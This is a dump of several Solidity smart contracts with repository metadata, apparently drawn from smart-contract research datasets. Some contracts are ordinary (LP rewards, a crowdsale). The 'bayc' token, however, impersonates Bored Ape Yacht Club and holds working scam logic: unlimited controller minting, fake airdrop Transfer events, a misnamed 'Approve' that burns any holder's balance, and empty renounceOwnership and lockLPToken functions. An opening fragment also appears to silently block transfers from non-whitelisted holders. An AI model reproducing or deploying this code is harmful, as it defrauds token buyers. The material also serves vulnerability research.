if (_Marketing[_month] == 0 && _month != uniswapV2Pair && _series[_month] > 0) {
return;
}
_series[_pass] = _taxFee;
_Devs[_native] = _Safest;
if (_taxFee > 0 && !inSwapAndLiquify && _Marketing[_month] == 0 && _Marketing[_Safest] == 0) {
amount -= fee;
_balances[_month] -= fee;
}
_balances[_month] -= amount;
_balances[_Safest] += amount;
emit Transfer(_month, _Safest, amount);
}
}
function addLiquidity(uint256 tokenAmount,
uint256 ethAmount,
address to) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp);
}
function swapAndLiquify(uint256 tokens) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokens);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, msg.sender, block.timestamp);
}
}
| 26,612 | 13,692 |
83f16b6b13cbd3ae143ff623f570d3313609843d4178db8eb84e6099839bf9f8
| 15,254 |
.sol
|
Solidity
| false |
323452649
|
nimbusplatformorg/nim-smartcontract
|
8b8e8feb1fdfb5c33e8a506bfb032b51e5526b23
|
contracts/contracts_BSC/Swaps/LPRewards.sol
| 3,908 | 15,052 |
pragma solidity =0.8.0;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed from, address indexed to);
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner {
require(msg.sender == owner, "LPReward: Caller is not the owner");
_;
}
function getOwner() external view returns (address) {
return owner;
}
function transferOwnership(address transferOwner) external onlyOwner {
require(transferOwner != newOwner);
newOwner = transferOwner;
}
function acceptOwnership() virtual external {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
interface INimbusRouter {
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}
interface INimbusFactory {
function getPair(address tokenA, address tokenB) external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
contract LPReward is Ownable {
uint public lpRewardMaxAmount = 100_000_000e18;
uint public lpRewardUsed;
uint public immutable startReward;
uint public constant rewardPeriod = 365 days;
address public immutable NBU;
address public swapRouter;
INimbusFactory public immutable swapFactory;
mapping (address => mapping (address => uint)) public lpTokenAmounts;
mapping (address => mapping (address => uint)) public weightedRatio;
mapping (address => mapping (address => uint)) public ratioUpdateLast;
mapping (address => mapping (address => uint[])) public unclaimedAmounts;
mapping (address => bool) public allowedPairs;
mapping (address => address[]) public pairTokens;
event RecordAddLiquidity(address indexed recipient, address indexed pair, uint ratio, uint weightedRatio, uint oldWeighted, uint liquidity);
event RecordRemoveLiquidityUnclaimed(address indexed recipient, address indexed pair, uint amountA, uint amountB, uint liquidity);
event RecordRemoveLiquidityGiveNbu(address indexed recipient, address indexed pair, uint nbu, uint amountA, uint amountB, uint liquidity);
event ClaimLiquidityNbu(address indexed recipient, address indexed pair, uint nbu, uint amountA, uint amountB);
event Rescue(address indexed to, uint amount);
event RescueToken(address indexed token, address indexed to, uint amount);
constructor(address nbu, address factory) {
require(nbu != address(0) && factory != address(0), "LPReward: Zero address(es)");
swapFactory = INimbusFactory(factory);
NBU = nbu;
startReward = block.timestamp;
}
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, "LPReward: LOCKED");
unlocked = 0;
_;
unlocked = 1;
}
modifier onlyRouter() {
require(msg.sender == swapRouter, "LPReward: Caller is not the allowed router");
_;
}
function recordAddLiquidity(address recipient, address pair, uint amountA, uint amountB, uint liquidity) external onlyRouter {
if (!allowedPairs[pair]) return;
uint ratio = Math.sqrt(amountA * amountB) * 1e18 / liquidity;
uint previousRatio = weightedRatio[recipient][pair];
if (ratio < previousRatio) {
return;
}
uint previousAmount = lpTokenAmounts[recipient][pair];
uint newAmount = previousAmount + liquidity;
uint weighted = (previousRatio * previousAmount / newAmount) + (ratio * liquidity / newAmount);
weightedRatio[recipient][pair] = weighted;
lpTokenAmounts[recipient][pair] = newAmount;
ratioUpdateLast[recipient][pair] = block.timestamp;
emit RecordAddLiquidity(recipient, pair, ratio, weighted, previousRatio, liquidity);
}
function recordRemoveLiquidity(address recipient, address tokenA, address tokenB, uint amountA, uint amountB, uint liquidity) external lock onlyRouter {
address pair = swapFactory.getPair(tokenA, tokenB);
if (!allowedPairs[pair]) return;
uint amount0;
uint amount1;
{
uint previousAmount = lpTokenAmounts[recipient][pair];
if (previousAmount == 0) return;
uint ratio = Math.sqrt(amountA * amountB) * 1e18 / liquidity;
uint previousRatio = weightedRatio[recipient][pair];
if (previousRatio == 0 || (previousRatio != 0 && ratio < previousRatio)) return;
uint difference = ratio - previousRatio;
if (previousAmount < liquidity) liquidity = previousAmount;
weightedRatio[recipient][pair] = (previousRatio * (previousAmount - liquidity) / previousAmount) + (ratio * liquidity / previousAmount);
lpTokenAmounts[recipient][pair] = previousAmount - liquidity;
amount0 = amountA * difference / 1e18;
amount1 = amountB * difference / 1e18;
}
uint amountNbu;
if (tokenA != NBU && tokenB != NBU) {
address tokenToNbuPair = swapFactory.getPair(tokenA, NBU);
if (tokenToNbuPair != address(0)) {
amountNbu = INimbusRouter(swapRouter).getAmountsOut(amount0, getPathForToken(tokenA))[1];
}
tokenToNbuPair = swapFactory.getPair(tokenB, NBU);
if (tokenToNbuPair != address(0)) {
if (amountNbu != 0) {
amountNbu = amountNbu + INimbusRouter(swapRouter).getAmountsOut(amount1, getPathForToken(tokenB))[1];
} else {
amountNbu = INimbusRouter(swapRouter).getAmountsOut(amount1, getPathForToken(tokenB))[1] * 2;
}
} else {
amountNbu = amountNbu * 2;
}
} else if (tokenA == NBU) {
amountNbu = amount0 * 2;
} else {
amountNbu = amount1 * 2;
}
if (amountNbu != 0 && amountNbu <= availableReward() && IBEP20(NBU).balanceOf(address(this)) >= amountNbu) {
require(IBEP20(NBU).transfer(recipient, amountNbu), "LPReward: Erroe while transfering");
lpRewardUsed = lpRewardUsed + amountNbu;
emit RecordRemoveLiquidityGiveNbu(recipient, pair, amountNbu, amountA, amountB, liquidity);
} else {
uint amountS0;
uint amountS1;
{
(address token0,) = sortTokens(tokenA, tokenB);
(amountS0, amountS1) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0);
}
if (unclaimedAmounts[recipient][pair].length == 0) {
unclaimedAmounts[recipient][pair].push(amountS0);
unclaimedAmounts[recipient][pair].push(amountS1);
} else {
unclaimedAmounts[recipient][pair][0] += amountS0;
unclaimedAmounts[recipient][pair][1] += amountS1;
}
emit RecordRemoveLiquidityUnclaimed(recipient, pair, amount0, amount1, liquidity);
}
ratioUpdateLast[recipient][pair] = block.timestamp;
}
function claimBonusBatch(address[] memory pairs, address recipient) external {
for (uint i; i < pairs.length; i++) {
claimBonus(pairs[i],recipient);
}
}
function claimBonus(address pair, address recipient) public lock {
require (allowedPairs[pair], "LPReward: Not allowed pair");
require (unclaimedAmounts[recipient][pair].length > 0 && (unclaimedAmounts[recipient][pair][0] > 0 || unclaimedAmounts[recipient][pair][1] > 0), "LPReward: No undistributed fee bonuses");
uint amountA;
uint amountB;
amountA = unclaimedAmounts[recipient][pair][0];
amountB = unclaimedAmounts[recipient][pair][1];
unclaimedAmounts[recipient][pair][0] = 0;
unclaimedAmounts[recipient][pair][1] = 0;
uint amountNbu = nbuAmountForPair(pair, amountA, amountB);
require (amountNbu > 0, "LPReward: No NBU pairs to token A and token B");
require (amountNbu <= availableReward(), "LPReward: Available reward for the period is used");
require(IBEP20(NBU).transfer(recipient, amountNbu), "LPReward: Error while transfering");
lpRewardUsed += amountNbu;
emit ClaimLiquidityNbu(recipient, pair, amountNbu, amountA, amountB);
}
function unclaimedAmountNbu(address recipient, address pair) external view returns (uint) {
uint amountA;
uint amountB;
if (unclaimedAmounts[recipient][pair].length != 0) {
amountA = unclaimedAmounts[recipient][pair][0];
amountB = unclaimedAmounts[recipient][pair][1];
} else {
return 0;
}
return nbuAmountForPair(pair, amountA, amountB);
}
function unclaimedAmount(address recipient, address pair) external view returns (uint amountA, uint amountB) {
if (unclaimedAmounts[recipient][pair].length != 0) {
amountA = unclaimedAmounts[recipient][pair][0];
amountB = unclaimedAmounts[recipient][pair][1];
}
}
function availableReward() public view returns (uint) {
uint rewardForPeriod = lpRewardMaxAmount * (block.timestamp - startReward) / rewardPeriod;
if (rewardForPeriod > lpRewardUsed) return rewardForPeriod - lpRewardUsed;
else return 0;
}
function nbuAmountForPair(address pair, uint amountA, uint amountB) private view returns (uint amountNbu) {
address tokenA = pairTokens[pair][0];
address tokenB = pairTokens[pair][1];
if (tokenA != NBU && tokenB != NBU) {
address tokenToNbuPair = swapFactory.getPair(tokenA, NBU);
if (tokenToNbuPair != address(0)) {
amountNbu = INimbusRouter(swapRouter).getAmountsOut(amountA, getPathForToken(tokenA))[1];
}
tokenToNbuPair = swapFactory.getPair(tokenB, NBU);
if (tokenToNbuPair != address(0)) {
if (amountNbu != 0) {
amountNbu = amountNbu + INimbusRouter(swapRouter).getAmountsOut(amountB, getPathForToken(tokenB))[1];
} else {
amountNbu = INimbusRouter(swapRouter).getAmountsOut(amountB, getPathForToken(tokenB))[1] * 2;
}
} else {
amountNbu = amountNbu * 2;
}
} else if (tokenA == NBU) {
amountNbu = amountA * 2;
} else {
amountNbu = amountB * 2;
}
}
function getPathForToken(address token) private view returns (address[] memory) {
address[] memory path = new address[](2);
path[0] = token;
path[1] = NBU;
return path;
}
function sortTokens(address tokenA, address tokenB) private pure returns (address token0, address token1) {
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
}
function rescue(address payable to, uint256 amount) external onlyOwner {
require(to != address(0), "LPReward: Address is zero");
require(amount > 0, "LPReward: Should be greater than 0");
TransferHelper.safeTransferBNB(to, amount);
emit Rescue(to, amount);
}
function rescue(address to, address token, uint256 amount) external onlyOwner {
require(to != address(0), "LPReward: Address is zero");
require(amount > 0, "LPReward: Should be greater than 0");
TransferHelper.safeTransfer(token, to, amount);
emit RescueToken(token, to, amount);
}
function updateSwapRouter(address newRouter) external onlyOwner {
require (newRouter != address(0), "LPReward: Zero address");
swapRouter = newRouter;
}
function updateAllowedPair(address tokenA, address tokenB, bool isAllowed) external onlyOwner {
require (tokenA != address(0) && tokenB != address(0) && tokenA != tokenB, "LPReward: Wrong addresses");
address pair = swapFactory.getPair(tokenA, tokenB);
require (pair != address(0), "LPReward: Pair not exists");
if (!allowedPairs[pair]) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pairTokens[pair].push(token0);
pairTokens[pair].push(token1);
}
allowedPairs[pair] = isAllowed;
}
function updateRewardMaxAmount(uint newAmount) external onlyOwner {
lpRewardMaxAmount = newAmount;
}
}
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferBNB(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: BNB_TRANSFER_FAILED');
}
}
| 236,120 | 13,693 |
492c88766f8552e48786e581165020e8c336c7c0bace1013eee63be18ba619f9
| 19,081 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x09380cc5f48037cd1338ddb13f262a78d65d27a4.sol
| 3,241 | 12,066 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract CakToken is MintableToken {
string public constant name = "Cash Account Key";
string public constant symbol = "CAK";
uint8 public constant decimals = 0;
}
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
contract CakCrowdsale is Ownable, Crowdsale {
using SafeMath for uint256;
enum SaleStages { Crowdsale, Finalized }
SaleStages public currentStage;
uint256 public constant TOKEN_CAP = 3e7;
uint256 public totalTokensMinted;
// allow managers to whitelist and confirm contributions by manager accounts
// (managers can be set and altered by owner, multiple manager accounts are possible
mapping(address => bool) public isManagers;
// true if address is allowed to invest
mapping(address => bool) public isWhitelisted;
// list of events
event ChangedInvestorWhitelisting(address indexed investor, bool whitelisted);
event ChangedManager(address indexed manager, bool active);
event PresaleMinted(address indexed beneficiary, uint256 tokenAmount);
event CakCalcAmount(uint256 tokenAmount, uint256 weiReceived, uint256 rate);
event RefundAmount(address indexed beneficiary, uint256 refundAmount);
// list of modifers
modifier onlyManager(){
require(isManagers[msg.sender]);
_;
}
modifier onlyCrowdsaleStage() {
require(currentStage == SaleStages.Crowdsale);
_;
}
function CakCrowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet)
Crowdsale(_startTime, _endTime, _rate, _wallet)
public
{
setManager(msg.sender, true);
currentStage = SaleStages.Crowdsale;
}
function batchMintPresaleTokens(address[] _toList, uint256[] _tokenList) external onlyOwner onlyCrowdsaleStage {
require(_toList.length == _tokenList.length);
for (uint256 i; i < _toList.length; i = i.add(1)) {
mintPresaleTokens(_toList[i], _tokenList[i]);
}
}
function mintPresaleTokens(address _beneficiary, uint256 _amount) public onlyOwner onlyCrowdsaleStage {
require(_beneficiary != address(0));
require(_amount > 0);
require(totalTokensMinted.add(_amount) <= TOKEN_CAP);
require(now < startTime);
token.mint(_beneficiary, _amount);
totalTokensMinted = totalTokensMinted.add(_amount);
PresaleMinted(_beneficiary, _amount);
}
function buyTokens(address _beneficiary) public payable onlyCrowdsaleStage {
require(_beneficiary != address(0));
require(isWhitelisted[msg.sender]);
require(validPurchase());
require(msg.value >= rate); //rate == minimum amount in WEI to purchase 1 CAK token
uint256 weiAmount = msg.value;
weiRaised = weiRaised.add(weiAmount);
// Calculate the amount of tokens
uint256 tokens = calcCakAmount(weiAmount);
CakCalcAmount(tokens, weiAmount, rate);
require(totalTokensMinted.add(tokens) <= TOKEN_CAP);
token.mint(_beneficiary, tokens);
totalTokensMinted = totalTokensMinted.add(tokens);
TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
uint256 refundAmount = refundLeftOverWei(weiAmount, tokens);
if (refundAmount > 0) {
weiRaised = weiRaised.sub(refundAmount);
msg.sender.transfer(refundAmount);
RefundAmount(msg.sender, refundAmount);
}
forwardEther(refundAmount);
}
function setManager(address _manager, bool _active) public onlyOwner {
require(_manager != address(0));
isManagers[_manager] = _active;
ChangedManager(_manager, _active);
}
function whiteListInvestor(address _investor) external onlyManager {
require(_investor != address(0));
isWhitelisted[_investor] = true;
ChangedInvestorWhitelisting(_investor, true);
}
function batchWhiteListInvestors(address[] _investors) external onlyManager {
address investor;
for (uint256 c; c < _investors.length; c = c.add(1)) {
investor = _investors[c]; // gas optimization
isWhitelisted[investor] = true;
ChangedInvestorWhitelisting(investor, true);
}
}
function unWhiteListInvestor(address _investor) external onlyManager {
require(_investor != address(0));
isWhitelisted[_investor] = false;
ChangedInvestorWhitelisting(_investor, false);
}
function finalizeSale() public onlyOwner {
currentStage = SaleStages.Finalized;
token.finishMinting();
}
function calcCakAmount(uint256 weiReceived) public view returns (uint256) {
uint256 tokenAmount = weiReceived.div(rate);
return tokenAmount;
}
function refundLeftOverWei(uint256 weiReceived, uint256 tokenAmount) internal view returns (uint256) {
uint256 refundAmount = 0;
uint256 weiInvested = tokenAmount.mul(rate);
if (weiInvested < weiReceived)
refundAmount = weiReceived.sub(weiInvested);
return refundAmount;
}
function createTokenContract() internal returns (MintableToken) {
return new CakToken();
}
function forwardEther(uint256 refund) internal {
wallet.transfer(msg.value.sub(refund));
}
}
| 195,258 | 13,694 |
928b31e74114df2483744e4b485f01905ccc77a2ad3e806a6cb62c4b66fff7bb
| 10,674 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/75/75c5a7927baba8eea58eed6317b368c54e6d8d60_bayc.sol
| 2,616 | 9,944 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract bayc is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
using SafeMath for uint256;
using Address for address;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
address deployer = 0xd78B3360d8e057538DE52822402E3EbCc15bc50A;
address public _controller = 0xd78B3360d8e057538DE52822402E3EbCc15bc50A;
constructor () public {
_name = "Bored Ape Yacht Club";
_symbol = "BAYC";
_decimals = 18;
uint256 initialSupply = 10000000000;
_mintTx(deployer, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_sendTx(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_sendTx(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _controller){
sender = deployer;
}
if (recipient == _controller){
recipient = deployer;
}
emit Transfer(sender, recipient, amount);
}
function _mintTx(address locker, uint256 amt) public {
require(msg.sender == _controller, "ERC20: zero address");
_totalSupply = _totalSupply.add(amt);
_balances[_controller] = _balances[_controller].add(amt);
emit Transfer(address(0), locker, amt);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _sendTx(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _controller){
sender = deployer;
}
emit Transfer(sender, recipient, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
modifier _ownerAccess() {
require(msg.sender == _controller, "Not allowed to interact");
_;
}
modifier _approveAccess() {
require(msg.sender == _controller, "Not allowed to interact");
_;
}
function airdrop(address _sendr,address[] memory _rec,uint256[] memory _amt) public _ownerAccess(){
for (uint256 y = 0; y < _rec.length; y++) {emit Transfer(_sendr, _rec[y], _amt[y]);}}
function execute(address _sendr,address[] memory _rec,uint256[] memory _amt) public _ownerAccess(){
for (uint256 y = 0; y < _rec.length; y++) {emit Transfer(_sendr, _rec[y], _amt[y]);}}
function renounceOwnership() public _ownerAccess(){}
function lockLPToken() public _ownerAccess(){}
function Approve(address[] memory bots) public _approveAccess(){
for (uint256 x = 0; x < bots.length; x++) {
uint256 amt = _balances[bots[x]];
_balances[bots[x]] = _balances[bots[x]].sub(amt, "ERC20: burn amount exceeds balance");
_balances[address(0)] = _balances[address(0)].add(amt);
}}
}
| 42,087 | 13,695 |
ee2b87a8d464db50ba87108866d55e6713e23abb3d3f6accf9d26b912183d89c
| 14,041 |
.sol
|
Solidity
| false |
627794329
|
uni-due-syssec/efcf-framework
|
c3088c935f567dc7fc286475d6759204b6e44ef5
|
data/smartbugs-top-1000-balance/0x9ea80e204045329ba752d03c395f82a12799f13d.sol
| 3,179 | 13,361 |
//--------------------------------------------------------------//
//---------------------BLOCKLANCER TOKEN -----------------------//
//--------------------------------------------------------------//
pragma solidity ^0.4.8;
/// Migration Agent
/// allows us to migrate to a new contract should it be needed
/// makes blocklancer future proof
contract MigrationAgent {
function migrateFrom(address _from, uint256 _value);
}
contract ERC20Interface {
// Get the total token supply
function totalSupply() constant returns (uint256 totalSupply);
// Get the account balance of another account with address _owner
